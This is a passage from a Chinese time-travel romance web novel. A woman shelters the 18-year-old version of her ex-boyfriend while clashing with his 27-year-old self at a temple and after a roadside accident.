林念禾趁他不注意把单买了。 秦於无语,“人家是警察比我更忙,只有今天晚上有空。” 电影院在商场里面,三个人分道扬镳,林念禾带着霍锌回家。 一顿饭吃了两个小时,她进门后,屋内黑漆漆的。 窗帘没有拉,阳台铺满了月光。 林念禾把包放下,换完拖鞋就去摸墙上的开关。 门哐当一声关上,少年身型颀长,站在她的身后,表情晦暗不明。 她被声音惊得下意识回头,乍看见他的样子,不禁联想到那回楼道里,成年的霍锌。 “分手后你哭了?” 林念禾抿唇,不想说这段丢人的分手史,去摁开关,“谁分手不哭两下的。” 啪嗒一声很脆的开关响,但灯没有亮。 屋子里靠着微弱的月光,勉强能够看清东西。 霍锌点点头,像是赞同她的说法,“让你难过成那样,我确实是畜生。” 她摸出手机,把手电筒打开,想去看看其他的灯是不是好的,“我不想提这些过去的事情。” 他攥住林念禾的手腕,“我心里一直有个疑惑,你和他到底为什么分手,当年到底发生了什么”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第20章【VIP】 第20章 第20章干妹妹 站在跟前的人僵住,甩开他的手,往前去找厨房的灯。 想看看是客厅的灯坏了,还是家里停电了。 厨房的灯也没亮,可能是电箱里的保险跳闸,他们这层的电箱钥匙不在业主手里,林念禾站在门框边给物业打电话,让人来开箱送电。 她打完电话,倚在厨房的门上,出神不知道想了些什么。 “霍锌,我们的矛盾不是你想象的那样,哄个一两句就能轻易解决。性格不合适的两个人走不到最后。”林念禾脑子发疼,今天穿的高跟鞋磨得她脚后跟痛,不用看都知道肯定是破皮了。”你老是喜欢建一座屋子把我关进去,遇见什么事都不愿意跟我说。我有自尊心,我受不了一次两次通过别人,知道自己男朋友的近况。” 单亲家庭,林母很少夸奖她,更多时候是跟在后头叮嘱她不争馒头争口气,考上最好的大学,给陆建林看。 这种环境下长大,她性格很拧巴,喜欢的话说不出口,同样也说不出讨厌的话。 他们分手前又吵了一架,霍锌指责她,说她永远喜欢躲在自己的龟壳不肯多出来一步。 她觉得可笑,气急之下说了更难听的话。 评价他少爷脾气,不知道别人的辛苦,只想跟她玩玩儿,不把她当个人去对待。 他们之间积攒的矛盾彻彻底底地爆发,像颗突然爆炸的原子弹,燎得方圆万里内的生物通通化成灰烬。 那句分手,不知怎么地就被霍锌说了出来。林念禾想都没想,直接点头同意。 同居的那套房子留给了她,他什么也没带摔门而去。 其实两个人谁都没有错,只是性格不合适。 她不善于表达,需要引导型的恋人。霍锌喜欢玩儿,性格大方,到哪儿都能混得开,应该找个要么听话要么同样性格开朗热情的女朋友。 事实上,两个要求她哪个都不沾。 听了她妈十几年的话,每一步都按照林母的要求,考上最好的高中,成为省状元,选择一个父母眼里最好的专业。 循规巡矩这么多年,林念禾不想再给自己找一个跟爹一样的对象,事事都要插手。 而霍锌恨不得她是一只翅膀折断不会飞的鸟,关进笼子里躲开风吹雨打,养得金尊玉贵。 毕业的时候,他暗示过结婚,甚至开始计划求婚,被她看出苗头,及时掐断才又继续谈了两年。 霍太太的日子,一眼就能望到头。 无非是结婚生孩子,然后在家等着他下班。 他理解不了她的处境,同样她不能接受他的生活。 物业动作很快,门外传来动静,一阵叮铃哐啷后,屋内瞬间光明。 林念禾嗓子发干,转身进厨房倒水。 冰 冷的液体顺着喉道滑下,缓解了难受。余光里少年站在门口,堵得严严实实。 “有话和我说” 霍锌声音发哑,“你不喜欢,我可以改,为什么……为什么你不说呢?” 杯底碰到琉璃台发出清脆的声音,她低眉,“说出来你能改吗?” “我说过很多次,不喜欢你管我,把我当无法自理的小孩儿,你照样没改过。” “还要跟你强调多少次,我已经结婚了,你才会不去招惹江予州,我不是傻子,看得出来你对他的敌意。霍锌,咱们根本不合适。你太强势,我不够包容,每次吵起来像钢筋对水泥,谁也不让谁。” 等吵完,他又上赶着来道歉,哄她。 循环往复,谁都累。 林念禾手支在台沿,不去看他。今天过后,他能想明白最好,想不明白她也没办法了。 “睡吧,你也累了。明天我找找同学,看能不能把你送学校借读一段时间,高三时间很宝贵耽误不起。” 他当时纯是为爱努力高考,想留在国内。现下被她一通刺激,不一定想继续高考。 她组织措辞,“如果不想学的话,我也可以帮你找找托福雅思之类的辅导班,主要看你。” 霍锌不语,蹲下来握住她的脚踝。 他刚就注意到她换拖鞋后的走路姿势不对,于是在客厅翻出创可贴想递给她。 没想到,一进厨房,遏制不住脾气,引来她一顿反驳。 她今天穿着一条半身裙,脚腕冷不丁贴上他的掌心,下意识想躲开。 “别动。” 霍锌单膝跪在地上,表情认真地将创可贴撕开,粘在她磨破的位置。 那块红彤彤的,也不知道她怎么能做到一声不吭,健步如飞的。 家里的创可贴都带着卡通人物,看上去可爱要命。 他突然有些不想放手。 林念禾催他,“我自己来吧。” “好了。” 霍锌直腰起身,像是没把她的话放在心上,“明天你上班,他家那边还需要我去帮忙吗?” 江予州那边的老人过来,只靠一个江黎,怕照顾不好。 林念禾蹙眉,“我刚才跟你说的话,你有在听吗?” 她那段话说得不留情面,按照以前霍锌的性格,即使不甩脸子给她看,也会生气生个半学期。 霍锌目光大喇喇地对上她的眼睛,“听了。” 一字不落地听进去了。 他在火锅店的时候就想通了,现在名不正言不顺,最重要的是不降低林念禾对他的好感度。 做小伏低,忍耐住,留到最后才是赢家。 况且这事是他的错,在车里没控制住脾气,惹她生气。 至于什么改不了性格,那是27岁的霍锌,跟他有个半毛钱的关系。 林念禾眨眨眼,“你是不是左耳朵进,右耳朵出了?” “……” 霍锌把她手边的杯子拿远了点,“我知道你想说什么,不就是让我别打扰你的生活,搞清楚我们的关系。” “没必要去学校,穿越前在学校都听不下去老师的课,穿越后我就能听下去了” 他的视线触到林念禾嘴角那块儿很小的伤痕,像是被扎到似地飞快挪开,语气变沉,“你说的那些事情都是二十七岁的霍锌干的,不能把罪责强加到我身上。” “你和他分手之后成了陌生人,和我难道不能做朋友?” 林念禾脑子宕机,反问,“你知道朋友的分寸吗?” 他抬眉,“知道,今天的事是我不对,我道歉。” 太乖了,乖得让她心里发慌。 林念禾顿了顿,“明天早饭不用你做,我自己上班路上可以解决。” 每天都是他做早饭,整理家务,她有些不好意思。 原本准备离开的霍锌,停下脚步,“行。” 翌日, 林念禾起床,桌上还是像往常一样摆好了早餐。 霍锌出门跑步,还带上了狗。显然是给她创造的独处空间。 之后的日子,他都安分得可怕。没关系的事儿,一点都不多过问,老老实实埋头做题。有次林念禾下班,居然拿着错题问她解题思路。 时隔九年没碰过高中题的状元,拿起卷子,有些无措。 偏偏对上那双虚心求教的眼睛,她没法拒绝,只能硬着头皮,自己试着找找回忆。 十月, 她挑了个天气不错的周末,带着霍锌上山。 因为国庆节刚刚过去,路上车流量不多。 秦阿姨给她推地址的时候,说这座寺庙是A市最灵验的,每年很多人来还愿。 庙里有个方大师,给人算命一算一个准。 林念禾出门前本来不想带上他,但念他最近确实老实乖巧很多,每天在房间写题。 复习时精神压力过大,影响效率,她心一软,索性带上他。 今天没开她的那辆mini,开的是江予州的黑色路虎,霍锌坐在副驾驶,长腿第一次有地方放,不用缩在一块。 他睨眼认真开车的林念禾,正色道,“要是有人让你买什么开过光的东西,或者拉着你的手给你算命,你千万别信。” “我脸上写着好骗两个字吗。”她踩下刹车,等待红灯,“你今天也去许个愿望,保佑你考上清北。” 霍锌呵了下,“我一分不花,让菩萨保佑我上清北,从家到清北坐公交还得花两块钱。世界上要真有这么好的买卖,清北里不得全是人。” “清北很容易考的。”她想到他的成绩,补充,“对我来说。” “……” 话题截然而止,霍锌阖眼睡觉。 寺庙在清城山上,离市区有一个多小时的车程。他前一个晚上熬夜写物理题,困得不行。 迷迷糊糊睡过去,再睁眼,已经到了地方。寺庙很大,各个殿宇,里面塑了不同的金像。 霍锌垂着眼,跟在林念禾后。她找到自己想去的地方,发现他还跟着自己后头,“你去找找管高考的。” 不知道现在的佛祖管不管过去的事情,但拜了总归比不拜好。 林念禾劝他,“来都来了,你去试试。” 他拗不过,问了旁边的义工,找到挂着大雄宝殿的殿宇。等磕完几个动作很不标准,但看起来极其虔诚的头,霍锌思考了一下,摸摸口袋没带现金。 找人办事要花钱,找神仙办事也得多少花点。 一个收款码突然出现在面前,义工看出他想捐钱,提示,“可以扫这个。” “……” 九年后的科技发展到传教寺庙也通互联网了…… 霍锌沉默两秒,掏出手机扫了个六百八。 这是去年清北的最低录取分数线。 捐完款,他出门想找林念禾,被穿着褐色衣服的小僧拦住。 霍锌瞬间把手机放进兜里,一脸冷漠,“不买,不信,谢谢。” 在车上还吐槽林念禾长着张容易被骗的脸,结果他也遇上了。那个扫码的六百八,是他最后的迷信,其他一概不信。 小僧脾气很好地说,“我师父找你,说和施主有缘。” “哦,不信。”他双手插进卫衣兜,“我要找人,麻烦你让一下。” 小孩岁数不大,看起来也就十一二岁,登时急得要哭,“不行,我师父说了必须让你见他。” “他为什么不自己来找我?” 霍锌不信这些,自然不接受小孩嘴里师父的摆谱行为。 “师父他前几天去滑冰摔骨折了。”他拖着他的胳膊往后面走,“医生说他现在不能下地,你跟我去了,就知道我真的没有骗你。” “他说你身上有和我们不一样的地方,是客人。” 小孩还在絮絮叨叨,没注意身边少年的沉默,“等会儿我送你一个开过光的手链,包你吃不了亏。” 那边,林念禾跪在垫子上闭着眼睛在心里许愿,磕头拜了拜。 出殿后,她没看见 小霍的人影,正想给他发消息问问人在哪儿。眼前倏地压下一道阴影。 是27岁的霍锌。 他身上沾了香火的气味,淡雅清幽,开口说的话却截然相反,“你还迷信?” 林念禾在心里自认运气不好,上哪都能碰见他。面上笑意盈盈,“求个安慰罢了。” 霍锌敛去眼里的情绪,“人定胜天。” 落在她的耳朵里,林念禾觉得他是在嘲笑她,好脾气地回道,“您说的对。” 她突然发现小霍之前说的对,那些事情都是27岁的霍锌干的,和他没关系,不能一棒子打死他俩。 面前的这个,才是讨厌的源头。 信教和不信教的来寺庙都是为了找份寄托,前脚刚求完神仙,后脚被人当面说迷信还嘲讽她什么人定胜天。显得他,好像全世界就他最聪明理智。 一对比,18岁的小霍,瞬间顺眼多了。 “你替自己还是替别人许的愿?”他越过她,注视着殿里面慈悲的佛像,佯装无意。 林念禾低头给小霍发消息,让他别往这边来,顺嘴接道,“替别人。” “你倒是好心。” 她收好手机,抬头,“我替我老公求个平安。” 前任一相遇,就想往对方心里狠狠扎两下。 林念禾觉得她这是被霍锌逼出来的变态心理。 “是吗。”他唇角勾了勾,“希望你许的愿望能够实现。” 她进的药王佛殿,求的肯定是身体健康。这些事情,稍微动动脑子就能想到。他却非要不死心地亲耳听见她说一遍,听她说跪在这些铜镀金的制品前面有多心诚地许愿,祈祷它们保佑那个男人。 霍锌眼底的情绪逐渐蓄累,神色异常冰冷。 一道熟悉的中年女音响起来,“小禾。” 林念禾下意识望去,记忆里的身形如今消瘦大半,气色很差,仿佛一阵风吹来就能把她刮跑。 霍母走过来,温柔笑了笑,“很久没见过了,你过得还好吗?” 她和霍锌谈恋爱那会儿,霍母时不时会找她吃饭逛街。霍锌小时候的黑历史,一半都是她告诉的自己。 林母不会做饭,霍母却会做很多甜点。分手时,她脑子里的第一个念头是能不能复合,第二个念头就是吃不到霍母做的小甜品了。 霍家出事,霍母受刺激,精神出现问题,被他们送进疗养院。林念禾去探望过几次,但只要一露面,霍母的精神状态就会更糟糕。 为了避免刺激她,妨碍治疗,她就再没去过了。 这会儿看见好端端站在眼前的霍母,她还有一些紧张,“阿姨,您身体怎么样?” 霍母上前抱住她,“已经没事了。” “过几天是霍锌爸爸的祭日,我们来给他上柱香。” 霍母信佛,把他的骨灰存在了寺庙。 她搂着林念禾,突然哽咽,“好孩子,怎么瘦了这么多。” “哪天来找我,我给你做你喜欢吃的饼干。” 林念禾拍她安慰,“没瘦多少,倒是阿姨你要好好吃饭。” 霍母擦干眼泪,松开她,拉着她的手,“我知道你们没缘分了,但是我真的喜欢你。要不你做我的干女儿吧,平时……” 霍锌打断她的话,“妈。” 霍母回过神,笑了下,“是我欠考虑。” 林念禾被她的话整得尴尬,前任变兄妹,她到时候估计连头都抬不起。 “阿姨改天我再去看你,我有事先走了。” 她像是逃似地离开,霍母眼眶微红,拍了下霍锌的胳膊,气愤道,“你就装吧你。” 做妈的怎么可能看不出来自己儿子心里想的什么。 每次问他林念禾的事情,他都闭口不答,实在烦了,会敷衍她说不喜欢了。 寺庙里的院子那么大,他不往西走,也不往东走,就往林念禾眼前撞。 “她结婚了,你也没希望了。”霍母小声抱怨,望着冷冰冰的儿子,叹气。 这样的性格,怕是离婚了,他也不可能上位。 给林念禾做小,说不定她会多看他一眼。 霍母径直往外走,无意识瞥见一个熟悉的背影,愣在原地。 霍锌疑惑,“妈,怎么了?” “没事……” 怎么会看见一个和霍锌很像的背影。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20-30 第21章 第21章小霍的挑衅 这次祭拜霍父,只有他们两个人,没有带司机和助理。 霍母大病初愈,虽然能够出门,但和陌生人共处一个室时,会不由自主地颤抖发病。 等她坐到车上,望着前方的景色,回忆刚才在寺庙里看见的那个背影。霍母仔细对比了一下,还是觉得和儿子有九成相似,只不过体型方面有些许不同。 经过三年前的打击,她现在变得小心谨慎,于是自己琢磨了一会儿,就把这事一五一十地告诉了霍锌。 霍锌单手搭着方向盘,闻言,没有反驳安慰她是巧合,“妈,我知道了。” 霍母像是松口气,攥着手,“知道了就好。” 她整个人陡然从焦虑的状态中释放出来,自言自语了一段时间后安静下来。 路上的车流量不多,霍锌从后排拿了条毯子盖在霍母的身上,车速变得平缓,让她睡得更踏实。 霍家那批人,该收拾的收拾,该送进去坐牢的也被送进去了,剩下的大都跑到海外。找出来一个跟他长相相同的人,又能对他做些什么。 他爸在他出生没多久后,就做了结扎手术。难不成他们能找到他爸的私生子,他的弟弟? 不知道为什么,他突然联想到那天在小区门口和林念禾说话的人,虽然没看见脸,只匆匆一瞥,却给他一种难以言喻的怪异感。 瞬间,前方几辆黑车追尾,发出剧烈的撞击声。 霍母被惊醒,慌乱之下,抓住身边儿子的胳膊。霍锌不停地安慰她,“妈,没事,前方就是追尾了,不严重,你继续睡。” 路上飞快开始堵车,前面的路虎停得快,他眼疾手快才没跟着撞上去。 黑色路虎里, 林念禾的手死死掐着小霍的胳膊,脸色泛白。 什么鬼,刚出寺庙门,后脚和死神擦肩而过。 不是说包灵验的吗? 她的力道不小,活活给他掐得直吸冷气,“我有些后悔了。” 林念禾反应过来,不好意思地松开手。她向来力气大,十几岁的时候,她妈看她这一身牛劲,发愁哪家姑娘有这么大力气,小小年纪能单手拎一袋大米上楼,没个女生样子。 所以初吻那次,给霍锌捏得腰间全是红痕,她懊悔了好半天,忐忑不安地想上门道歉,结果他一撩衣服,说自己是稍微碰两下就红的体质。 她眼神往他手臂上瞟,衣服盖着,也不知道有没有掐青了。 “后悔什么?” 少年往后背上一靠,面无表情,“后悔捐的六百八十块钱。” 这数字听得莫名耳熟,林念禾奇怪他为什么捐这么多,她带来他那会儿,他垮着脸,满是不情愿,夹杂着对封建迷信的鄙夷。 结果一进去,出手就是六百八。 “你输金额的时候,手抖了?” 他抬手带上卫衣帽子,脸色有点难看,“图个吉利。” 林念禾心思也不在刚才的追尾车祸里了,偏过头。 因为他抱着胳膊,侧脸被帽子遮住,一副不想多说的样子,她更好奇了。 几番思考,脑子里闪过一道线索,林念禾不敢置信地问,“你不会捐了个高考分数吧?” “不行吗,我捐个分数线怎么了。”霍锌耳根不自觉泛红,羞愤道,“有必要惊讶吗。” 她忍笑,转头望向窗外,“保准能考上的。” 高考,他确确实实摸到了清北的分数线,擦边和她上了同一所大学。 哪怕提前知道结果,她还是觉得有些好笑。明明嘴上嫌弃地要死,身体又诚实地去做。以前谈恋爱,林念禾经常会被他这种口嫌体正直的行为可爱到。 霍锌抱怨,“一 点也不灵,还有装神弄鬼的老头。” 小孩把他拽到后院,一个光脑袋的老头,靠在床头,对着他絮絮叨叨说了一大通听不懂的话。最后老头说得口干舌燥,两个人大眼瞪小眼。霍锌都想走了,老头叹气拉住他,跟他说不要着急,天地有自己的秩序,末了还让他回去提高提高语文成绩。 浪费时间不说,还被人暗戳戳说成绩不好。 六门课里面,他语文最不好了…… 前方车祸情况有点严重,几辆车的尾部和头部撞得稀烂,交警把前面用警戒线拦起来,救护车担架抬出来一个浑身是血的人。 林念禾来不及细看,一道阴影盖住了她的眼睛。 少年离得很近,温热的手心覆上眼皮,凛冽的香味直直钻进脑子,霍锌声音响起来,听上去低沉温柔,“别看。” 她眨眨眼睛,漆黑的视野一下子扩大了其他感官的能力,林念禾有些手足无措,下一秒用力去推他。 “我想看,你让开。” 没等她使大力气,霍锌收回手,睫毛在掌心里轻扫,留下的痒意还残留着。 林念禾这人有时候真挺难勾搭的,榆木脑袋,什么氛围都能被她一句话给破坏。26岁的林念禾,破坏气氛的能力比18岁的要强多了。 少年的手紧攥又张开,欲言又止,半晌,“那我去问问救护车上的那位伤员,问他能不能再起来给你看一次。” “……” 这段时间除了做题就是做家务,两个人相敬如宾,顾忌之前林念禾的态度。霍锌老老实实装乖,愣是不敢动一点念头。刚才那下,他是有想勾搭的意思,想抓住这个机会跟她贴贴,但更多的是下意识怕她看见后害怕。 人还没反应过来,手已经捂着她的眼睛了。 结果小看了她的胆子…… 18岁的林念禾胆子说不上大,他问过她要不要学医,她说不敢。 霍锌有点闷闷不乐,中间经历些什么,27岁的他到底多废物,把她养得像堆随意而生的杂草。 副驾驶没声音了,她有些尴尬地转移目光。索性对着后视镜整理碎发。 左看看,右打量,发现今天的口红颜色没之前好看,结果视线倏地停在后方的车上。 是辆她打一辈子工都不敢买的库里南,车牌照依旧是超级装的连号。 再定睛一看,车门外站着的人,是她的前男友。 林念禾在心里骂了句装货,飞快升起车窗。 她手忙脚乱地往小霍身上扔东西,少年茫然地接住口罩帽子还有个很大的外套,想都不用想,肯定是江予州的衣服。 “外面有人追杀我?” 林念禾把鸭舌帽扣在他头上,“后面那辆车是霍锌的,等会儿万一他脑子抽了找我,你就待在车里别动。” 车窗贴了膜,外面看不见里面,里面能看见外面。 只要小霍老实点,待在车里,他就不会发现他。 少年沉默一瞬,“衣服能不能不穿。” 打死他也不穿情敌的衣服。 “你要是被他发现了,我就把你扔他车上。”林念禾威胁,“我绝对不可能为了你,背上觊觎前男友的名声。” 对面人脑子没绕过来,“什么?” 哪跟哪了,突然就发展成她觊觎自己了。 虽然这是一件霍锌求之不得的事。 “他不信你是未来的他,转头发现我车里有个跟他长得跟粘贴复制一样的男的,霍锌到时候肯定觉得我心理多半有问题。” 就算信时空穿越,18岁的他被自己收留,也显得居心不良啊! 解决一切的最好办法,就是瞒着他,不让他知道,等小霍穿回去,一切都解决了。 少年幽幽望了她一眼,抬手带上口罩。 依照他对自己的了解,如果看见林念禾车里有个和他长得差不多的男人,不仅不会觉得她有病,还会莫名暗爽,然后名正言顺地缠上她。 当然,这种话不能告诉林念禾。 他又不是菩萨,为什么要替27岁的霍锌说好话,促进他俩的关系。就算哪天,江予州死了,27岁的霍锌可以光明正大地求复合,他也是往他复合的路上扔钉子,放路障的那个。 后面, 霍锌靠在车外透气,周围有凑热闹的司机看他年纪轻轻,开着几百万的库里南,想上前跟他唠两句,触及他冷冰冰的神情后,立马打消聊天的念头。 霍母坐在车里眼尖,瞧见前面那辆车林念禾露出来的侧脸,刚想和霍锌说,结果林念禾飞快缩回去。 其实那会儿,她真的很喜欢林念禾,聪明,漂亮,待人真诚。 可惜和自己儿子缘分不够。 “霍锌。”霍母出声叫他,“念禾的车在前面,你去问问她有没有事。” 霍锌应声,抬眼看去。 黑色的车,外形庞大,离地间隙高,不太适合女孩。 林念禾大学毕业上班,有的时候他来不及接她上下班,来回通勤实在麻烦,于是想给她买车。 其实他的车库里,车很多,随便挑一辆就能开走。 林念禾挑来挑去,都不满意。要么价格太贵,不敢开出去,怕刮到蹭到,要么是她不喜欢的那种高底盘。 霍锌垂下眼,走到车边。没等开口问话,车门开出一条小缝。 林念禾出来,关上车门。 车窗半点没降下来,车门关得死死的。 像是里面藏了些什么不能被他看见的东西,或者是人。 他压下心里的那丝怀疑,“还好吗?” 林念禾摇摇头,“没事,我踩刹车踩得快。” 要不是她眼疾手快,现在的她估计就在担架上躺着了。 一问一答结束,瞬间没话可说了。 刚才在寺庙那下,她没忍住火气,他非要嘴贱上来点评两句。 这会儿乍碰面,还有些尴尬。 “阿姨没被吓着吧?”林念禾朝霍母挥手打招呼。 “她没事。” 霍锌顿了顿,“如果医院那边需要帮忙,我可以帮你。” 他对别人的生死不敢兴趣,但不想看见林念禾劳心劳力。 理智告诉他,他现在不方便同她多见面,他也没有资格去过问她的家事。 “专家,钱,都可以开口找我。” 话音刚落,林念禾脸上原本敷衍的笑容立刻消失大半。 “不用。” 该划清的界限就得明明白白地划清。 在山上刺她,山下又开始装好人。 沉默了一会儿,她不能当着他的面开车门上车,瞅到霍母的笑,林念禾抬脚离开,“我跟阿姨打声招呼。” 和他妈聊天都比和他聊天好。 车里若有若无的视线穿过玻璃,落在他的身上。 霍锌眼神冰冷,车里有人。 像是猜到他的想法,里面传来两声闷闷的咳嗽声。 玻璃接着降下来,露出一张带着口罩的脸。 男生像是感冒了,声音闷闷的,目光不太友好,问,“有事?” 语气看似客气,实则不耐烦。 霍锌原本想走,看见车里冒出来的陌生男人,反问,“你是” 男孩儿笑起来,好看的眼睛弯了弯,“你谁,跟你有什么关系。” 他脸色沉下来,那双露在外面的眼睛对他有种很奇怪的熟悉感,像是在哪儿见过。 “林念禾的朋友,难道不能问吗?” 男孩佯装明白,“林念禾跟朋友说话可不会这么不客气,你是跟她有仇吧。” “她脾气那么好的一个人,对你态度那么恶劣。建议你多反省反省,比如你是不是干了什么对不起她的事。” 男生跟吃了枪子似地,语气焉坏,“当然,我也没见过脸皮像你一样的厚的,她对你的不耐烦都快写脸上了,你还能凑上来搭话。” “不会对林念禾有想法,想追她吧。” 霍锌周遭气压直逼零下,“你误会了。” 少年像是察觉不到他的心情变化似的,“那就好,我跟你说,这年头做小三,要挨天打雷劈的。只有不要脸的人,才会插足别人的感情。” “在我老家,还有个前女友分手结婚后,跑去给人当男小三 ,被女方老公抓住直接浸猪笼了。"男生叹气,“做人真是脸都不要了。” 霍锌轻轻笑了下,眼底像是冻结化不开的寒冰,气势可怕,“提醒别人不要当小三,那你呢?” “你对林念禾是什么心思” 这么气势汹汹,初次见面对他一股脑地质问,话语里全是敌意。 要说这人对林念禾没想法,他第一个不信。 当然,有股直觉告诉他,这人肯定存了不好的心思。 第22章 第22章说谎 车里的男生嘲讽似地,闲闲叹气,"叔,你问这些就不好了吧,我本来想跟你友好聊聊八卦的,你上来攻击性那么强干什么,整得我好像抢了你女朋友一样。" 霍锌总觉得他说话怼人的方式有种说不上来的熟悉,就好像自己以前也对着别人说过同样气人的话。 很快,他又在内心否定掉这个说法。 他年少那会儿,还是懂礼貌知分寸的,没事喜欢做好事,扶老奶奶过马路。 面前的人虽然看不清脸,身上却透着一股朝气,还有他身上早就褪去的傲气。 “你先管好自己。” 霍锌冷冷瞥他一眼,视线挪到走过来的林念禾的身上。 她脚步明显比正常的速度要快一点,面上不带慌张,拽住他的衣角,“阿姨有事找你。” “什么事情?” 霍锌低头,这还是时隔三年两个人第一次离这么近,准确来说是她主动愿意离他这么近。 内心那块儿坚实的冰面似乎裂开一丝丝缝隙,接着劈里啪啦地碎开。 承认吧,他就是没法儿不去爱她,没法不为她心动。 理智即将脱离大脑的那刻,割切面泛着光射的钻石猝不及防闯入他的眼底。霍锌睫毛动了两下,听不清她的答话,像在空中猛地坠入刺骨的河水。 结婚了,他不能去破坏她的婚姻。 更何况,他们很相爱,她早就不喜欢自己了。一味地像条狗似的,去舔她,乞求她能回心转意,堪比痴心妄想。 林念禾对不喜欢的人,哪怕是刀架在她的脖子上,她也不会高看对方一眼。 所以陆建林到现在都没能捞着她的一个好脸色。 心口胀胀的,涌上一股酸涩,涩味甚至漫上舌尖。 “霍总,你脸色不太好。”林念禾小心翼翼地组织语言,“要不先回去休息一下,我看前面清路估计还要好长时间。” 余光看见手里抓的那片衣料,她连忙松开手,后退一大步。 “朋友?” 霍锌语气平淡地好像只是在问她早上吃没吃饭,但林念禾瞬间汗毛竖起,心脏都快蹦到嗓子眼了。 她很随意地顺着他的目光看了一眼,收回来,“表弟,明年高考,带他来求个好分数。” 倒霉孩子死定了,她待会儿上车不打死他,她就不姓林。 “今天周六,学校不补课?” 他们念高中的时候,学校恨不得把他们当牲口使,一礼拜就放一个白天的假,天天晚上都有晚自习。 别人不乐意念书,霍锌倒天天盼着上学,和林念禾同桌的日子比上山飙车快乐八百倍,以至于他妈后来以为他被什么东西上身了,差点跟他爸男女混合双打驱邪物。 林念禾右手背在身后,食指不停抠着拇指,“他感冒有点严重,怕传染给同学,所以今天请了一天假。” 对面的男人,笑了下,走近两步,皮鞋落在地上发出的声音像是敲在她的心尖。 他弯腰,用只能两个人听见的音量在林念禾的耳边缓缓开口,“下次说谎记得态度再冷静一点。” 起码别上一秒对他爱答不理,后一秒谈及到车里的人,态度倏地就变友好了。 他问什么就答什么,乖得要死。 林念禾闭了闭眼,“对,我带他逃课了。” 霍锌没料到她会说出这么一个有趣的理由,但又怕把人整毛了,让本来就不太高的印象分变得更低。 至于车里的人到底是什么身份,对林念禾存的什么心思,他倒不是很好奇。 一个毛头小子,能有多厉害,花样再多,林念禾不是傻子,有最基础的鉴别男绿茶的能力。 “开车注意安全。” “谢谢霍总关心。” 林念禾打开车门,差点同手同脚地上车摔倒,幸好小霍扶住她。 等好半天稳住心神后,林念禾面无表情地注视着副驾驶位置上的人。 口罩盖住了脸,鸭舌帽又遮住大半,除非霍锌眼睛是医院拍片用的X光,不然不可能认出来。 还得她聪明,事先锁了车门,还让他做好伪装。 少年被盯得害怕,“他先发现的我。” “你没出言挑衅他?” 霍锌有多了解林念禾,林念禾就有多了解他。自从上次聚餐,秦於跟她诉苦,她就开始留心眼了。无论是18岁的霍锌,还是27岁的霍锌都不是什么好东西。 之前在家,她就觉得不对劲,每次给江予州送完饭,他就会搁家对她使用一些上不了台面的小手段。 比如不小心碰个手,不小心跟狗玩闹摔倒在她身边。 “别解释,我不信。”她从副驾驶的前面拿出一份文件甩在他的身上,“我找关系帮你弄好了借读手续,下礼拜一给我滚去学校上课。” 小霍愣怔,刚想张嘴说话,被林念禾开口堵回去。 “没的商量。你怎么劝,怎么求,我也不会改变主意的。” 她上回看了一眼他的理综试卷,压根儿就不能入眼。没穿越前,还有18岁同样要高考的林念禾帮他梳理知识点,打打基础。穿越过来后,她一个高中毕业九年的社畜,在学习上帮不了一点。 不去学校,再让他自己研究下去,别说考六百八了,他考五百八都费劲。 当然,不是质疑霍锌的智商。 能短短一年多,摸到清北分数线,他肯定是聪明的。 所以去学校,对他学习有帮助,对她也有好处。 每天忙着复习上课,小霍就没精力再在她身上作妖了。 真让她狠下心不管他,她不忍心,继续管着他吧,等于摧残她的精神。 思来想去,林念禾半个月前就各种托关系,找老同学,终于成功把他塞进二中借读。 少年眉毛微蹙,没反驳什么。 比起去学校,他更在乎方才在外面,霍锌临走前和林念禾说了什么。 别人看不出来,他能看不出来吗? 27岁的他,高兴得狐狸尾巴都快甩在天上了。 一副不值钱的便宜模样,简直让人作呕恶心。 林念禾那股怒气平息后,就没多生气了。她现在比起以前,向来是知足常乐。 今天这死孩子没多嘴反驳,平静地接受了去上学的现实,就让她很满意了。 想到车上的霍母,她不动声色地打开话题,“霍阿姨……在后面,你想见见她吗?” 反正他和霍锌都碰过面了,等会儿随便找个借口带着小霍下车,让他和霍母见一面也不是什么难事。 “我妈她喜欢漂亮,肯定不乐意让我看见她现在的样子。” 九年后的母亲瘦得像张薄纸。他来到这个世界之前,她还穿着一条漂亮的高定裙子,准备和他爸飞去国外扔下他,去过结婚纪念日。 他有记忆后,母亲永远都是美丽,漂亮,会做很好吃的蛋糕,她偶尔会生气,但也是沐浴在幸福之下的小脾气。 “霍阿姨现在挺好的,以前那些都过去了。”她想了想,“时间在我们的感知中,通常是单向线性的,像射出的箭,永远不能回头。比如一张画布,落笔后就再也不能回到以前的样子。" “但对于你来说,阴差阳错来到九年后,知道九年间那些发生的事情,霍锌,你很幸运地拥有了一次改变未来的机会。” 可以去改变那些糟糕透顶的结局。 少年漆黑的眼眸直直望着她,良久,嗯了一声。 “ 真的不去见见阿姨?” “不去了。”他调整了一下坐姿,让自己看得更加懒散,“她身边有儿子陪着,不差我这个。” 说话间,前方道路被清理出一条能够让车走的通道。 林念禾尊重他的选择,不再多劝,启动汽车,慢慢行驶离开。 周一, 霍锌单手拎着林念禾给他买的黑色书包,装着两本书,老实去上学。 二中不允许借读,也不知道林念禾往领导家里送了什么礼,托了多大的关系,才能违反规定,把他送进二中借读。 高中生上学的时间比她上班时间要早,七点就得到校。 林念禾起不来,他也不难为她,做好早餐后,轻轻关上大门,转身坐公交去上学。 二中门口车来车往,这会儿全是上学的学生,一水的黑白制服类校装。 他穿着常服,在里面显得格外独特。本来,长相就属于出挑的那类,冷着脸,好像有人欠了他百八十万的样子。 而欠债人本人,此刻正从床上幽幽醒来。 林念禾揉揉头发,收拾好自己,出房间看见桌上摆着的煎蛋牛奶,顿时心虚不已。 高三生去学校上学还得顺手给她做早饭。抛开霍锌偶尔作妖,其实她带他回家,就好像多了一个住家保姆。 省心,省力,还会伺候人。 下班后,她跟同事吃完饭,直接去了医院。 一进病房,她愣了一下。 江伯父和江伯母,这段时间,轮流来照顾江予州,鲜少有两人都在的情况。 之前请的护工,在两个老人的强烈要求下,改成了夜晚看护。 江予州现在的情况,让他们回老家,他们估计吃饭都吃不下去。索性不走了,白天换着来陪他。 林念禾礼貌地跟他们打完招呼,把买的水果放在床头柜。 隔壁床的人今天下午刚出院,现在还空着。 江伯父原本染黑的头发,这段时间冒出一截白色发根,他看见林念禾来,态度平淡地嗯了一声。 